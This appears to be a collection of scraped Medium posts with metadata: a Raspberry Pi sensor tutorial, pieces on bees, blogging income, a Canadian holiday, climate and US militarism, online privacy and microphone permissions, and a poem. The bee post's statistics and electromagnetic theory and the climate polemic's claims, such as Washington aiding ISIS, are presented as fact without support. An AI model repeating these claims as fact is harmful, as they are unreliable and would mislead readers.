Line 13 — This is the name of the data bucket. This can be changed at any time in the Initial State UI.
Line 14 — This is your bucket key. It needs to be the same bucket key for every node you want displayed in the same dashboard.
Line 15 — This is your Initial State account access key. Copy and paste this key from your Initial State account.
Line 17 — This is your location’s pressure (hPa) at sea level. You can find this information on most weather websites.
Line 18 — This is the time between sensor reads. Change accordingly.
Line 19 — Here you can specify metric or imperial units.
After you have set lines 12–19 in your Python script on your Pi, save and exit the text editor. Run the script with the following command:
$ python3 bme280sensor.py
Now you will have data sending to an Initial State dashboard. Go to the final section of this article for details on how to customize your dashboard.
Sense HAT Solution
You’ll need the following items to build this solution:
-Raspberry Pi Sense HAT
-6" 40-Pin IDE Male to Female Extension Cable (optional for temperature accuracy)
The first step in using the Sense HAT is to physically install it onto your Pi. With the Pi powered down, attached the HAT as shown below.
Sense HAT connection to Raspberry Pi
If you decide to use the solution as shown above you may notice that your Sense HAT’s temperature readings will be a bit high — that’s because they are. The culprit is the heat generated from the Pi’s CPU heating up the air around the Sense HAT when it is sitting on top of the Pi. To make the temperature sensor useful, we need to either get the HAT away from the Pi or try to calibrate the temperature sensor reading. A good solution for getting the sensor away from the Pi is a cable that lets the Sense HAT dangle away from the Pi. A 6", 40-pin IDE male to female extension cable cable will do the trick.
Raspberry Pi in a case with extension cable connecting to the Sense HAT
Once you decide on the two options, power on your Pi. We need to install the Python library to make it easy to read the sensor values from the Sense HAT. First, you will need to ensure that everything is up-to-date on your version of Raspbian:
$ sudo apt-get update
Next, install the Sense HAT Python library:
$ sudo apt-get install sense-hat
Reboot your Pi. We are ready to test the Sense HAT by reading sensor data from it and sending that data to Initial State.
Create a file called sensehat and open it in the text editor by entering the follwoing in the command prompt:
$ nano sensehat.py
Copy and paste the code below in the text editor.
Notice on the first line that we are importing the SenseHat library into the script. Before you run this script, we need to setup our user parameters.
# --------- User Settings ---------
BUCKET_NAME = "Office Weather"
BUCKET_KEY = "sensehat"
ACCESS_KEY = "Your_Access_Key"
SENSOR_LOCATION_NAME = "Office"
MINUTES_BETWEEN_SENSEHAT_READS = 0.1
# ---------------------------------
Specifically, you need to set your ACCESS_KEY to your Initial State account access key. You can change BUCKET_NAME and SENSOR_LOCATION_NAME to the actual sensor location. Save and exit the text editor.
At a command prompt on your Pi, run the script:
$ sudo python sensehat.py
Now you will have data sending to an Initial State dashboard. Go to the final section of this article for details on how to customize your dashboard.
Customize Your Initial State Dashboard
With your Raspberry Pi temperature sensor built you can now go to your Initial State account and look at your data. You can right click on a Tile to change the chart type and click Edit Tiles to resize and move your Tiles around. I’d recommend using the gauge thermostat for temperature and the gauge liquid level for humidity. You can create line graphs for both temperature and humidity to see changes over time. You can also add a background image to your dashboard.
You can set Trigger alerts so you can get a SMS or email if the temperature drops below or goes above a certain threshold. Go to your data bucket and click on settings. From there go to the Triggers tab. Enter the stream key you want to monitor, the operator you want to use, and the threshold value. Click the plus sign to add the Trigger. Then you’ll enter your email or phone number to receive the alert at and click the plus sign. Once you’ve set all your Triggers click the Done button at the bottom.
Initial State temperature dashboard
Now that you’ve created a Raspberry Pi temperature sensor using a sensor and a Raspberry Pi, you can start thinking about what other environmental data you can monitor next.
While Raspberry Pi is wildly popular and easy to use, I know many people have a preference for Arduino, which can be less expensive. If you are interested in using an ESP32 to monitor temperature instead of a Pi, you can check out this article about how use to ESP32 with a DHT22 sensor. | https://medium.com/initial-state/how-to-build-a-raspberry-pi-temperature-monitor-8c2f70acaea9 | ['Initial State'] | 2020-08-14 15:25:08.020000+00:00 | ['Raspberry Pi', 'Data', 'Temperature', 'IoT', 'Data Visualization'] |
The Bee Crisis | This article is a post that comes from Greening Forward’s legacy blog. It was originally written by Jacob Garland on December 19, 2018.
Bees are essential to our way of life. They give us food to eat nearly every single day. Without bees, well, we probably wouldn’t even be alive today. So, when we hear that the bee population is decreasing, it certainly causes alarm. And unfortunately, that’s exactly what’s happening today. Over the past ten years, scientists have witnessed a major decline in the bee population. Now, 30% more of their species are dying every year, which has serious implications, not only for the environment but for humans as well. So, in this post, I wanted to discuss why the bees are so important, and what is causing them to die off so quickly.
Why are bees important?
So first it’s important to define the reasoning as to why the bees should be saved in the first place. And while they should be saved simply because they are living organisms, this problem is even direr because it affects humans directly. Whenever you get fruit, vegetables, or any other kind of plant to eat, bees helped to make it. Very, very simply put, many plant-foods are created through the spread of pollen. Pollen is produced by every plant, and depending on the type of plant, that pollen either has to: be spread to another flower on the plant, or moved to a different
location within the flower itself.
Basic biology aside, bees play a crucial role in this process. They are the ones who spread the pollen from plant to plant. When this pollen has been fully transferred, each flower begins to produce fruit, vegetable, or other product. Then, these foods end up in our households, where we get to enjoy them. If the pollen from each flower isn’t spread, then no fruit is produced, and there is no food for us to eat.
What’s the problem?
If you hadn’t before, you may now begin to see the serious problem that a decrease in bee population poses. With fewer bees, less pollen will be transferred, resulting in less developed fruit, and less food for us. If the bees die out, then so will our supply of fruits and vegetables (not to mention honey too). Bees are so important that our very lives may hinge on their survival. But can’t we just survive off of foods other than fruits and vegetables? This, unfortunately, is not the case. Humans rely on a variety of different nutrients to keep themselves healthy, many of which we can only get from fruits and vegetables. Without these nutrients, while we may survive, it would only just be barely so.
But how fast exactly are the bees dying exactly? Well, fast enough to be alarming. While we don’t have an exact number, scientists estimate that every year there are 30% more bees dying than there used to be. While this may not be a gigantic problem NOW, if this trend continues (having no reason not to) then we will all have serious starvation problems on our hands.
What’s causing this?
So now that we have a bit of background on the issue, we need to start figuring out solutions. But of course, before we create the solutions, we have to know what factors are causing the problem. And again, while they aren’t completely sure, scientists have a fairly good idea of the main factors contributing to the problem. First and foremost: pesticides. Pesticides have been a huge hindrance to bees ever since they were first introduced. As talked briefly about in my last post about pesticides (which you can check out here) pesticides used to protect gardens, lawns, and farms have all been found to poison bees. The most lethal of these pesticides is something called a neonicotinoid. This type of pesticide, mainly used in agriculture, has been found to be the most lethal for bees.
When it is sprayed on a plant, it infects the pollen within its flowers. When a bee tries to transfer this pollen, it is poisoned, or, even worse, unknowingly takes the infected pollen back to the hive and poisons even more bees. While neonicotinoids are the MOST lethal, nearly every other type of artificial pesticide contributes to the death of these bees. I highly recommend not using artificial pesticides in your home (a topic which I will cover more in-depth in another post) but instead, use a natural pesticide like neem oil that does not have any effect on pollinators.
Climate Change and its effect
Like so many other environmental problems in our world today, Climate Change also has a role in the bee crisis. As many of the climates around the world begin to change, bees have less and less room to thrive. They can no longer live in many areas that they used to, as the temperatures there have changed too drastically. While most animals have been able to move their habitat farther North, the bees have not, as it is still to cold for them to shift. While this may sound like a good thing, it only means that instead of shifting positions, the bee’s habitats are only getting smaller and smaller.
Electromagnetic pollution
Electromagnetic pollution is also theorized to have a serious effect on bees. Essentially, electromagnetic pollution is created when devices like cell phones and systems such as wi-fi are overused. Many bees rely on these “air-waves” to be clear for their navigation. When they are too filled with electromagnetic signals, the bees have a very hard time navigating, and often can’t find plants to pollinate. They also have more trouble finding their way back to their hives, which can cause them to die out. There are a few different publications about this theory, all of which I don’t have space to talk about in this post. If you would like to learn more about electromagnetic pollution, you can read those publications by clicking here and here.
Conclusion
So, bees are dying, and we should be worried. But now that we have a few ideas as to why this is happening, we can begin to find solutions. So far, there are many, many things we can do to help limit our effect on the bees, and even rebuild their populations. I don’t want to make this post too long, so I will be splitting this topic into two parts. Before I talk about that, however, if you want to learn more about this problem, make sure to check out the links I have provided below, as they all provide awesome information on the problem and even some info. on possible solutions. And finally, make sure to check back next week as I will be diving into what we can do to help save the bees. Thanks for reading. | https://medium.com/@greeningforward/the-bee-crisis-836f444498bd | ['Greening Forward'] | 2020-12-23 11:08:38.112000+00:00 | ['Nature', 'Food', 'Bees', 'Nutrition', 'Fruits'] |
10 Tips to Turn Blogging into a Successful Career | OS Digital World | Many people dream to start a successful career with blogging. But very few of them become successful. Today I will share my knowledge about to turn blogging into a successful career.
Do you ever think how you can earn a handsome amount of money from blogging? In this article I will show you how to start blogging and how gradually you can turn it into a successful career.
Let’s jump into the deep;
If you are very new in the blogging or don’t have any experience about blogging, but your dream is become a successful blogger, then you are in the right place. Let’s see how you can start blogging as a beginner:
Start blogging on the free blogging platforms.
Try to read blog posts.
Share your thoughts on the social platforms
Try to create author account on blogging websites.
Join freelance marketplace as a blogger.
Start Blogging on the Free Blogging Platforms
As a beginner, you should start blogging on the free blogging platforms. There are many blogging platforms who are offering free blogging opportunities such as:
All the above platforms are offering free blogging opportunities. Just signup for creating a free account. After creating your free account start sharing your knowledge, views, and thoughts. As a beginner just try to write the blogs as much as you can. Share your blog after publishing it on the social platforms such as Facebook, twitter, Pinterest, etc.
At the early stage you will not get readers. But don’t be frustrated. When you regularly publish your blog post and share on the social platforms, you will gradually get visitors.
Here I want to share my experience. One year ago I don’t have any followers on Pinterest. But now I have 500+ followers and now I get the maximum number of referral visitors from Pinterest.
Another example is Issuu. Six months ago I don’t have a single reader in Issuu. But now I have 100+ reader in Issuu.
All the above blogging platforms have millions of readers. When you regularly update your blog post, your blogs will be more visible to the readers. They will gradually start reading your blogs and following you.
Read More Blogs
As a beginner in the blogging, you should read others’ blog post regularly for improving your blogging experience and knowledge. You will get to know which niches are trendy and can capable to generate more income. It will also be helpful for increasing your writing skills and traffic engaging techniques.
Share Your Thoughts on Social Platforms
Social platforms such as Facebook, Instagram, Twitter, etc. are the best places for sharing your thoughts. As new blogger, you should post your thoughts regularly on the social platforms. It will help you to increase your writing skills as well as you will get followers from the social media.
Try to Create Author Account on the Blogging Websites
Many blogging websites offer author account to the bloggers. You should take this opportunity and create author account. When you will start writing on many websites, it will make your profile rich, it will create a lot of connections with the other bloggers, and the most important thing is; it will give you a lot of earning opportunity.
Join the Freelance Marketplace
There are many freelance marketplace where you can join and write as a ghost writer. The freelance marketplaces are good for getting job work for the new bloggers. You can earn money from the ghost writing service here. You will be more experienced from the freelance marketplace as well, that will be helpful for the blogging career.
The above points will help you to start blogging as a beginner. But without earning money you can’t consider blogging as a career. Here I’m sharing some tips for you for earning money from blogging:
Guest blogging
Ghost writing
Outreach for the other companies
Product and services review
Affiliate commission
Guest Blogging
Guest blogging is one of the best way to earn money from blogging. You can earn monthly 5 digit from guest blogging. There are some websites, who are paying money for writing on their sites. Medium is one of the big names who are paying a good amount of money to the bloggers. Medium pays on the basis of the reading time and number of readers. In this way you can earn money from an article for the lifetime. On the other hand “Before it is news” also paying to the bloggers. They pay to the bloggers for one time for an article. Both the paying techniques are good for the new bloggers.
Ghost Writing
Ghost writing gives a good earning opportunity to the bloggers. It means, you will write for someone. The content will be published with his name. The traffic or visitors will know that he is the original content writer. You will just get paid from him. You will get this type of job work at the freelance marketplaces and can earn some money. When you become an expert blogger, then you can get the ghost writing job work outside from the marketplace and their rate is also much higher than the marketplace.
Outreach for the Other Companies
As you are a blogger and have many author account, you have an opportunity to work as outreach professional for other companies. In this technique, you will publish article to other websites. You will insert a link of the company you are working for into your article. You will be get paid for inserting this link. In this way you can work as a professional outreach campaigner.
Product or Service Review
Every commercial organizations need review of their products and services. You can write review articles for the companies and publish it to the blogs, where you are writing. Here you will get two way earning. One is for the review article from the company and another is for publishing the articles to the blogs.
Affiliate Commission
Affiliate commission is the best earning opportunity for a blogger. It is a passive income opportunity for you. After getting some experience you can should do affiliate marketing. It can’t be a problem if you don’t have your own website for doing affiliate marketing. You can insert your affiliate link into your guest blogging articles.
But, yes, if you have your own website, it is better for doing affiliate marketing. You can earn from AdSense also when you have your own website.
Affiliate commission and AdSense commission, both are passive income.
How I Turned My Career into Blogging
When I have started blogging that was my passion and hobby. I never think I will earn from it. I felt honored when people read my blogs or articles. This was my pleasure.
I have read many blogs where I found that people are earning from blogging in many ways. As I have another job and I am doing blogging only for my pleasure, I didn’t feel interest to earn money from it. After few months of blogging experience, my first client Mr. Abir ping me for building links for him. I published his content on three different blogs and he paid me some money. Gradually many SEO professionals are contacting me for outreach job work. I accepted all of their work and earned some money. After few days I joined Fiverr marketplace. Though my primary income is coming from ghost writing and outreach work. In this way my blogging career was started.
Now I am doing outreach and ghost writing as a professional blogger and my earning is satisfactory to me.
End Words
You can also turn your blogging hobby into a successful career. It is not so difficult. Just you need passion and writing skills. If you have these skills, you will be also a successful blogger and can earn handsome amount of money.
FAQ
How can I become a skilled blogger?
More write and practice.
Which is the best place for free blogging practice?
You can use blogger or WordPress for free blogging practice.
Is there any earning opportunity when I am practicing and developing my blogging skill?
When you are doing free blogging practice at blogger or WordPress, you can turn it into a passive income channel using AdSense.
Originally published at https://osdigitalworld.com on September 3, 2020. | https://medium.com/@mustafanazmussakib/10-tips-to-turn-blogging-into-a-successful-career-os-digital-world-57671de0c2a3 | ['Mustafa Nazmus Sakib'] | 2020-09-26 11:45:22.978000+00:00 | ['Freelancing', 'Blogging Tips', 'Blogging', 'Blogger', 'Careers'] |
Sir John A. Macdonald Day Fundraising Campaign | Sir John A. Macdonald Day is one of the important Canadian events. It is celebrated on 11th January every year. Well, the first prime minister of Canada is Sir John A. Macdonald who is also considered as one of the renowned architects of the Canadian Confederation. There are many NGOs and non-profit organizations that conduct various fundraising activities to spread the important aspects associated with Sir John A. Macdonald among the common people. The youth leaders and teachers across the country organize various activities in honor of Sir John A. Macdonald. The main objective of them is to teach the new generation about one of the founders and the first prime minister of the country.
If your actions inspire others to dream more, learn more, do more, and become more, you are a leader.John Quincy Adams
Sir John A. Macdonald Day
Well, there is no doubt that Sir John A. Macdonald is more than a hero. Whatever he did for the country is an inextricable part of the Canadian Heritage. Well, Sir John A. Macdonald Day was set up as an Act. It was in 2002 when it came into effect. He was a man of various effective skills and the organizational skill is undoubtedly one of them. He had a great taste for alcohol and he also had enviable courage. Sir John A. Macdonald created the Dominion of Canada and then, he became the first prime minister. If we talk about the political phase of Macdonald, it was really rough. But, he was one of the most successful politicians of his time alongsid | https://medium.com/@werbylo/sir-john-a-macdonald-day-fundraising-campaign-7012b1e87eb3 | [] | 2020-12-25 21:04:48.349000+00:00 | ['Canadianheritage', 'Fundraising', 'Charity'] |
The climate crisis will bring austerity, militarization, & new Syria-style conflicts | As the destabilization of the climate produces more and more natural disasters, and as this leads to resource shortages, civil unrest, and violence, we need to be conscious that the imperialists are working to turn these events to their advantage. The global class struggle is in some way present within every aspect of the climate crisis, with the U.S. and other imperialist powers seeking to use military interventions, proxy warfare, and opportunistic corporate exploitation to turn the tide in favor of the capitalist class.
The Syria regime change war: a prototype for imperialist machinations in the era of climate collapse
The war in Syria is a prototype for how the imperialists plan to exploit the instability that the climate’s meltdown will create. In 2011, Washington used the terrorist forces in the region it had long been funding, arming, and training to take advantage of the major drought that was happening at that time. These imperialist-backed terrorists ignited a conflict that’s since been used by the imperialists to get the Kurds to help them illegally extract Syria’s oil, and to economically cripple the country through sanctions that are interfering with the Assad government’s war reconstruction efforts. While Assad won some time ago, Washington will keep using its economic warfare tactics and proxy jihadist forces to try to weaken the Syrian state, and to squeeze out whatever further Syrian resources become available to the U.S.
The Pentagon has been formulating ways to replicate the Syria model within the numerous other countries that will experience instability as a result of global warming in the coming years. Last year, in a report titled Implications of Climate Change for the U.S. Army, the U.S. Army War College wrote that:
The Syrian population has declined by about ten percent since the start of the war, with millions of refugees fleeing the nation, increasing instability in Europe, and stoking violent extremism. By comparison, Bangladesh has eight times Syria’s population, and a conflicted history as a former part of Pakistan. Bangladesh is a predominantly Muslim nation locked between India and Burma. The latter is already under international scrutiny for its poor treatment of the Rohingya minority, the largest percentage of which have fled to Bangladesh. India is a nuclear-armed state per- petually on the verge of conflict with its nuclear-armed western neighbor, Pakistan. Indeed, Bangladesh’s existence is the result of a war between those two nations. The permanent displacement of a large portion of the population of Bangladesh would be a regional catastrophe with the potential to increase global instability. This is a potential result of climate change complications in just one country.
The government of Bangladesh is not currently one of Washington’s targets for regime change, since it’s part of the series of countries that have done everything they can to deregulate the markets and make way for Western investment throughout the last decade. (Bangladesh, Honduras, Guatemala, Indonesia, Brazil, and the Philippines are others that have most recently participated in this neo-colonial trend.) But if the U.S. carries out a military intervention within Bangladesh in response to the vast refugee crises the country will soon experience, it will do so with the goal of getting even more corporate profits out of the country.
Such is the nature of the Syria model for imperialist warfare: the U.S. and NATO use legitimate humanitarian disasters to create a public relations cover for exploiting and militarily occupying the local population. We’re seeing this right now in the CIA’s deal with the Kurdish forces to steal Syria’s oil, and we’ll see it in the future as U.S. corporations draw profits from getting involved in destabilized zones. We may also see campaigns from Washington and the IMF to get countries like Bangladesh to further implement neoliberal policies; the IMF has already been using Covid-19 to impose austerity and privatization onto 81 countries, so the coming global climate catastrophes will no doubt be used for similar means.
Operation Pacific Eagle: a potential route towards exploiting the climate crisis to recolonize the Philippines
And this is just in the countries that can firmly be considered U.S. neo-colonies. In countries like the Philippines, which has become militarily tied in with China and has therefore become a target for U.S. imperialist subversion, the coming catastrophes could be exploited to bring about war, the manufacturing of further destabilization, and expansions of U.S. global military occupations. Throughout the last three years, Washington has already switched towards a new strategy of colonial war against the Philippines; in Operation Pacific Eagle, the U.S. has been trying to establish itself as a permanent military fixture in the Philippines under the guise of “countering radicalization and violent extremism.”
By this, Washington means not just to counter ISIS forces within the Philippines (which is obvious, since Washington has been covertly aiding ISIS anyway). In fact, ISIS in the Philippines is more imagined than real; the aim of the imperialists in the Philippines is not to fight religious extremism but to fight a class war. Washington has been trying to position itself as President Duterte’s ally in fighting off the country’s communist guerrilla insurgency-something that China has been unwilling to do despite its rift with the Communist Party of the Philippines. As spokesman for the New People’s Army Jorge “Ka Oris” Madlos told MintPress News in 2018 about Washington’s propaganda strategy for this war:
By using the general catchphrase ‘radicalization and violent extremism,’ the U.S. is encompassing all armed groups resistant to its puppet state’s rule, both existing and those bound to emerge due to its interference. In Mindanao, this includes legitimate Moro groups/clans fighting for their ancestral lands and right to self-determination.
For now, the U.S. efforts to use the world’s crises to assimilate the Philippines mainly relate to diplomatic maneuvers surrounding the pandemic; the incoming Biden administration will likely promise significant Covid-19 aid in exchange for Duterte allowing U.S. troop presence in the Philippines to continue. But as global warming, Covid-19, and the destructive impacts of neoliberalism raise the potential for proletarian revolution in the Philippines, Operation Pacific Eagle will be used as a way to gain favor from the country’s ruling class. Washington’s one advantage over China in their battle for geopolitical allyship within the Philippines is that unlike China, Washington has absolutely no hesitation in assisting with the massacre of Filipinos who are fighting for their liberation.
Replicating both of these models to retain control of neo-colonies & attempt regime change around the globe
The U.S. is driving towards regime change in Thailand, whose government has lost favor from Washington because of its involvement in China’s Belt and Road Initiative. So far this project has only extended to a campaign by the National Endowment for Democracy to fund opposition groups within Thailand, and therefore co-opt the legitimate anti-monarchy protests. But as the climate crisis throws the stability of all states into question, the imperialists will gain more opportunities to pursue power grabs through violent means.
In his 2018 paper Deep Adaptation: A Map for Navigating Climate Tragedy, Professor Jem Bendell concluded that societies all around the globe are at risk of having their basic modern functionings break down in the coming decades:
When I say starvation, destruction, migration, disease and war, I mean in your own life. With the power down, soon you wouldn’t have water coming out of your tap. You will depend on your neighbours for food and some warmth. You will become malnourished. You won’t know whether to stay or go. You will fear being violently killed before starving to death.
For the hundreds of millions of people in the capitalist world who are living on the edge of poverty now, this will become the reality. If it’s estimated by the UN that 120 million people will slide into extreme poverty by 2030 due to the climate crisis (likely a big underestimation), by 2040 or 2050 most people even in the “First World” countries will find themselves in impoverished or deadly conditions. With the greater risk of disease outbreaks that global warming is creating, these conditions will include near future pandemics that could be worse than Covid-19, and that will be even harder to contain due to the continued deterioration of living standards.
For the imperialists, this will mean opportunities to wage wars for geopolitical power and a necessity to suppress global class revolts. As the climate crisis further impacts Latin America, the U.S. could try to ignite Syria-style proxy conflicts in Mexico, Venezuela, Nicaragua and Bolivia, which are four countries in the region that the U.S. seeks to achieve regime change within (and that may be more strategically vulnerable than the island nation of Cuba). Washington could also employ the manipulation tactics of Operation Pacific Eagle to try to retain the loyalty of U.S. neo-colonies in Latin America and elsewhere; while more and more of Washington’s allies in South America, Africa, and Asia are economically joining up with China, Washington could try to buy their allegiance through providing them with arms to fight off the class uprisings they’ll experience as the world becomes less stable.
The objective of these and other climate change preparedness steps the U.S. military is taking is to ensure that the collapse of modern living standards for the majority of the population won’t come with the collapse of imperial power. The Pentagon’s report expresses worry about the enormous threats that climate disasters pose to U.S. military infrastructure, which it says should be addressed in the following ways:
An inter-agency approach, coupled with collaboration of the commercial sector, should catalogue the liabilities across the electrical grid and prioritize budget requests for infrastructure improvements…The DoD should pursue options to reverse infrastructure degra- dation around military installations, including funding internal power generation such as solar/ battery farms and small-nuclear reactors…The U.S. Department of Defense, in combination with the U.S. Department of Energy (DOE) should develop a long term 15 to 20 year tritium production plan that accounts for advances in nuclear technology and the possibility of rising climate induced water levels as well as increases to the overall average water temperature used to cool nuclear reactors.
These plans for fortifying the military in the face of climate destabilization come with the implication that capitalism and imperialism will also have to adapt to our reality of runaway global warming. The way these systems will adapt involves the further cutting of social safety net protections both for poor people within the imperial core and within the neo-colonies, and the further pursuit of militarization with the goal of fighting off rebellions. As this process of natural disasters, austerity, and militarism continues, expect the empire to use propaganda and censorship to try to get you on board with new versions of the Syria regime change war.
— — — — — — — — — — — — — — — — — — — — — — —
If you appreciate my work, I hope you become a one-time or regular donor to my Patreon account. Like most of us, I’m feeling the economic pinch during late-stage capitalism, and I need money to keep fighting for a new system that works for all of us. Go to my Patreon here: | https://medium.com/@rainershea612/the-climate-crisis-will-bring-austerity-militarization-new-syria-style-conflicts-db573cf64b7 | ['Rainer Shea'] | 2020-11-22 01:24:12.129000+00:00 | ['Climate Change', 'War', 'Climate', 'Syria', 'Military'] |
How to Stay Safe/Secure in Digital Life V.2 | How to Stay Safe/Secure in Digital Life V.2
This is the privacy practice(PP) guide for your online activities…
Credit : Unplash
In the first part of this series ( Link ), I talked about Privacy/Security general, kind of both on Mobile as well as Computer machines to give you kind of overview and listed few tools to help you(in getting start).
But from this series, I’ll be specific about the technology that I am talking about i.e mobile devices, Computer machines, or your online activities.
There can be very different kinds of arguments when it comes to online privacy/safety and here is mine. For that take this example — “You are a kind of person who isn’t very open about their sexual orientation to anyone but you can go online, do what you need, watch what you want.. and these activities can reflect in your ads that are popping in your mail or website ( How! — advertising agencies creates your profile based on your online activity and serve you ads based on that) but no one will ever know about your online activity if you follow PP.”
And the question that comes every time in mind is Why one should care/worry about their online activities. And the answer is that it can lead to many terrible incidents i.e email hacking, identity theft, virus, credit card fraud and many more this is possible because of —
Your weak password management ( i.e. using the same password on different website) and having single-factor authentication(SFA) Your bad online surfing habits. Using public wi-fi ( of course, you can use but with some measures )
Time to go practical…
…
→ Having weak password management can lead you to get your account compromised— How?
You are using the same password for every website(Facebook, Gmail, banking, dating web portals and may more…) and somehow one day your password appeared in the data breach and because you are using the same password for every website it will be easy for anyone (anyone can purchase the data for few bucks on the dark web) to test that on a random website and now you are compromised and it can cause you harm depending on the activity that you do and data stored on the cloud(ex. Google Drive). Let’s assume your data(email, password) didn’t appear in breach but your friend knows what kind of password combinations you can have or he/she tends to know exact password for one of your web portals and as usual, you have the habit of using the same password and maybe he/she can misuse it in any manner or maybe just for fun. MAYBE!
So what you can do is use a password manager for different complex password and you don’t need to worry about memorizing the password and the best one is Bitwarden (and it’s open-source), you just need to remember the master password to unlock your manager. [ Tip: Always have master password approx 20 char with some space like “I have black bucket but it is small”, can have any phrase that you easily remember.]
Always enable Multi-factor authentication(or 2FA) if your website is providing that. What it does that it creates an additional layer of authentication that helps you to secure your account in case your credentials got leaked and the bad actors won’t be able to login successfully( How! So whenever you enter your details to log-in, it asks for an additional code that you can get in Authentication app or sms on your mobile device, without that code).
→ 40% of the actions that people perform each day aren’t actual decisions but habits and habits determine what you are more than what you say.
Having good habits when it comes to use the internet puts you ahead of others and here are some of them…
Never open an email attachment that is from an unknown sender, always look carefully at the email header (who send that email, timing and subject, is it matching with what are expecting to get) and you have to be more careful if it’s your corporate mail and using on a corporate computer machine, in some case people lost their jobs because they clicked on the malicious attachment and their company got breached. Check this PDF to know more about Email red-flag from Cyber Security company Knowbe4. Before posting anything(picture, tweet, Facebook post) online always look twice what you are posting because once its on the internet, it’s gonna stay there forever. In case of an image it can expose a lot, a picture posted by you online contains ( date/time, make & model of phone/camera, coordinates of geolocation where a picture is taken) and anyone can get this by extracting metadata of image. Always prefer Tor over any traditional browser for normal web surfing i.e news, watching porn, or just normal surfing except opening private mails, banking, and other services where you need to give confidential info. Google vs Duckduckgo, I know its big debate so I’m going short and simple. Google serves you ads based on your profile (that is developed based on your online activity), on other side duckduckgo serves you ads based on the keywords that you type in search engine, not by creating a profile. Always go for a websites that has https over http(Why! because a site with https encrypt your credentials and then send over the network), or you can do this by adding httpseverywhere extension, it will force the website to redirect to their https version. Turn the browser history option to — clear cookie, cache history whenever you close the browser and always restart the browser between login on multiple websites. Let’s say you were on Facebook doing activities and suddenly you remembered that you need to buy something from amazon, just don’t login in the next tab, switch to another browser or restart(close and open it again) then go for amazon( Why! By doing this you will be clearing session/cookie every time you closing browser and saving your self from Big B snooping in).
I will be hard in the start but it’s just a matter of time until you get in the loop of habit and you will be fine…
Panopticlick :- An analyzer for your browser (checks for trackers, leaks).
Privacybadger :- Tool to block invisible trackers.
haveibeenpwned :- To check if your email-id/password is/not exposed in data breaches.
→ Using public WiFi (while waiting for your next metro, in the hotel room or just your hostel WiFi) can be dangerous if any malicious actor is taking a look on your network traffic and checking your requests that you are making to the server( basically what you are browsing) and you can avoid all this just by using two tools, Tor and a VPN ( whichever you can afford) and surf the internet fearlessly. | https://medium.com/swlh/how-to-stay-safe-secure-in-digital-life-v-2-f9e18f25f24c | ['Pawan Trivedi'] | 2020-09-13 19:51:19.806000+00:00 | ['Internet', 'Digital Life', 'Security', 'Online Activities', 'Privacy'] |
Always On: Best practices for Audio UX on Microphone Enabled Devices | With the growing popularity of voice and audio-enabled products, such as the Amazon Echo and Google Home, it seems reasonable for consumers to be concerned about exactly what audio data is being collected, stored and shared.
Furthermore, in light of the recent news stories regarding Silverpush and more recently Alphonso, which have raised serious privacy concerns due to background listening being used to stealthily track users behaviour — microphone technologies are increasingly under the spotlight.
At Chirp, we believe in being transparent to the user about how and when their audio data is being used. Whether that is voice assistants such as Alexa or Google Assistant or our very own audio-mediated connectivity technologies — Chirp Connect (data-over-sound) or Chirp React.
Below we look at a number of points to consider whilst integrating audio technologies in a product or app.
Requesting microphone permissions
A general rule of thumb for requesting permissions is that the request should be in context and communicate the value that the access will provide.
Apps should clarify why each permission request is needed, either through the feature name or an explanation provided. Permissions that are less clear should provide education about what the permission involves.
Presenting the user with a request in that context is a gesture of transparency and good faith on the part of the developer — simultaneously indicating that they have nothing to hide, and providing the inquiring user with a deeper insight into how their new app actually does what it does.
This is particularly true for when requesting microphone permission, which can be particularly sensitive. Displaying a primer like the following is a good way to reassure the user why the audio permission is required.
Providing context for needing microphone permissions, best practice for microphone permissions
Foreground use
For mobile apps and visual based UIs in general, we advocate foreground use. What this means is that the app running audio technology must only be listening when it is in the foreground, i.e. the current app that the user is using.
Again, this is all about being transparent to the user and operating in good faith. Much in the same way you wouldn’t want your camera to be enabled in the background without your permission — the same is true for your microphone.
Furthermore, Android P, the next major release of the Android OS, Google will prevent apps from using your smartphone’s microphone or camera whenever they’re in the background and not actively being used on screen.
How the audio data is used
Following on the theme of transparency, it’s important to let the user know how exactly the audio-data is used and this detail should not just be buried in a privacy policy somewhere.
A Spectrogram, a common way of visualising audio data
When Alexa first emerged on the market, it was unclear how the data was stored which led to speculation and concern from some users about what happens with your audio data once it is on Amazon’s servers and if it is stored there indefinitely.
Since then, Amazon has taken steps in the right direction to address these concerns, and now it is possible to delete all of Alexa’s voice recordings associated with your account.
With Chirp on the other hand, the audio processing is done entirely on the device. No audio data is ever saved to disk or uploaded to an external server — once the audio data has been processed it is forgotten about. This being fundamental to Chirp’s ability to operate offline or in airplane mode.
Privacy threats — how not to do it
Unfortunately some audio technologies have been less than reputable and the industry’s reputation has been left somewhat tarnished due to the more nefarious implementations. A prime examples of this is the notorious Silverpush SDK and the Shopkick app, that use Ultrasonic side channels to unnoticeably track a user’s location, behavior and devices.
In March 2016, the USA’s Federal Trade Commission (FTC) sent warning letters to twelve Android app developers that were apparently using the Silverpush SDK in their apps. The point of contention was that the apps are requesting microphone permissions without a clear need for them, and do not appear to properly notify users of their intent. This means that the developers may be in violation of US law if users have not been notified about what information the apps are collecting.
Thankfully, Silverpush decided to drop this particular technology. However, a similar technology in the form of Alphonso continues to prevail.
Conclusion
The recurring theme in all of this is the importance of building up trust with the user, via transparency and openness — a demand which is not unique to audio applications within the technology industry.
With Voice assistants like Alexa and Google Assistant being undeniably on the rise, with some analysts claiming that voice will become the dominant user interface, it’s important that the actions of a minority of rogue actors, do not detract from the innovation in this field.
Chirp’s technologies bring unique connectivity experiences and a plethora of new use cases that would not otherwise be possible with existing RF based connectivity technologies. | https://medium.com/chirp-io/even-the-speakers-have-ears-c32df8b795b4 | ['Mike Smales'] | 2018-12-17 09:11:19.888000+00:00 | ['Data Over Sound', 'Privacy', 'Mobile', 'Alexa', 'Voice Assistant'] |
I Went to the Place Where They Made Heidi | Oh wait, you forgot to plug in the “nobody cares.”
They didn’t betray anybody; they just came through for your opposite.
One guy died and was brought back to life when they played his fav song,
and a bird broke its neck on the rearview mirror.
Nobody said you had to be an armadillo; you made the decision outright.
“We will never have F’in ketchup on our hotdogs!” That kind of conviction
was something you weren’t used to; start acclimating.
You thought you were a teenager, but your birth year was wrong,
like how that Ethiopian guy was, like, 40 and kicked ass straight through.
I imagined that the Nazis were good to us POWs,
but they became quiet and pissed when the Chick-fil-A wrappers
rustled in on the breeze with the stars and stripes in tow.
He just chose to farm sorghum in the middle of Ohio,
and you knew it was inefficient and bad for the planet,
but he loved molasses and American couscous.
He had some sort of tongue knowledge you couldn’t get around,
and it won’t keep you warm at night with all your complaining.
